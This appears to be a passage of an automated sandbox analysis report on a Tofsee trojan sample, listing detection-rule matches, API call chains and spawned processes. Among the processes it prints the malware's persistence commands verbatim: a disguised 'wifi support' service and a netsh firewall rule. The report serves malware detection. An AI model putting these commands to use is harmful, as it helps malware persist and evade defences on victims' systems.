Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 7096 -ip 7096

Source: 2IFYYPRUgO.exe, 00000000.00000002.2079986362.0000000005120000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameCmd.Exej%' vs 2IFYYPRUgO.exe

Source: 2IFYYPRUgO.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.3.2IFYYPRUgO.exe.40e0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 0.3.2IFYYPRUgO.exe.40e0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 12.2.uscdfbek.exe.2dd0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 12.2.uscdfbek.exe.2dd0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 12.2.uscdfbek.exe.2610e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 12.2.uscdfbek.exe.2610e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 12.2.uscdfbek.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 12.2.uscdfbek.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 0.2.2IFYYPRUgO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 0.2.2IFYYPRUgO.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 13.2.svchost.exe.2d30000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 13.2.svchost.exe.2d30000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 12.2.uscdfbek.exe.2dd0000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 12.2.uscdfbek.exe.2dd0000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 0.2.2IFYYPRUgO.exe.40c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 0.2.2IFYYPRUgO.exe.40c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 0.3.2IFYYPRUgO.exe.40e0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 0.3.2IFYYPRUgO.exe.40e0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 0.2.2IFYYPRUgO.exe.40c0e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 0.2.2IFYYPRUgO.exe.40c0e67.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 13.2.svchost.exe.2d30000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 13.2.svchost.exe.2d30000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 12.3.uscdfbek.exe.2630000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 12.3.uscdfbek.exe.2630000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 0.2.2IFYYPRUgO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 0.2.2IFYYPRUgO.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 12.3.uscdfbek.exe.2630000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 12.3.uscdfbek.exe.2630000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 12.2.uscdfbek.exe.2610e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 12.2.uscdfbek.exe.2610e67.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 12.2.uscdfbek.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 12.2.uscdfbek.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 0000000C.00000002.2078985168.0000000002688000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 0000000C.00000002.2079103055.0000000002DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 0000000C.00000002.2079103055.0000000002DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 0000000C.00000003.2074120275.0000000002630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 0000000C.00000003.2074120275.0000000002630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 00000000.00000003.2043185641.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 00000000.00000003.2043185641.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee
Source: 00000000.00000002.2079068400.000000000263D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Tofsee_26124fe4 reference_sample = e658fe6d3bd685f41eb0527432099ee01075bfdb523ef5aa3e5ebd42221c8494, os = windows, severity = x86, creation_date = 2022-03-31, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Tofsee, fingerprint = dc7ada5c6341e98bc41182a5698527b1649c4e80924ba0405f1b94356f63ff31, id = 26124fe4-f2a1-4fc9-8155-585b581476de, last_modified = 2022-04-12
Source: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: MALWARE_Win_Tofsee author = ditekSHen, description = Detects Tofsee

Source: 2IFYYPRUgO.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@31/3@9/5

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Code function: 0_2_00406A60 lstrcatA,CreateFileA,GetDiskFreeSpaceA,GetLastError,CloseHandle,CloseHandle,CloseHandle,GetLastError,CloseHandle,DeleteFileA,GetLastError,

0_2_00406A60

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Code function: 0_2_0264D741 CreateToolhelp32Snapshot,Module32First,

0_2_0264D741

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Code function: 0_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,

0_2_00409A6B

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Code function: 0_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	0_2_00409A6B
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Code function: 12_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	12_2_00409A6B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_02D39A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	13_2_02D39A6B

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:3724:64:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:5896:64:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4068:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4308:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2612:120:WilError_03

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

File created: C:\Users\user\AppData\Local\Temp\uscdfbek.exe

Jump to behavior

Source: 2IFYYPRUgO.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

File read: C:\Users\user\Desktop\2IFYYPRUgO.exe

Jump to behavior

Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe

Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess

graph_12-14971

Source: unknown	Process created: C:\Users\user\Desktop\2IFYYPRUgO.exe "C:\Users\user\Desktop\2IFYYPRUgO.exe"
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\chxnvqnu\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\uscdfbek.exe" C:\Windows\SysWOW64\chxnvqnu\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" create chxnvqnu binPath= "C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe /d\"C:\Users\user\Desktop\2IFYYPRUgO.exe\"" type= own start= auto DisplayName= "wifi support"
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" description chxnvqnu "wifi internet conection"
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start chxnvqnu
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe /d"C:\Users\user\Desktop\2IFYYPRUgO.exe"
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 7096 -ip 7096
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 1472 -ip 1472
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 588
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1472 -s 1032
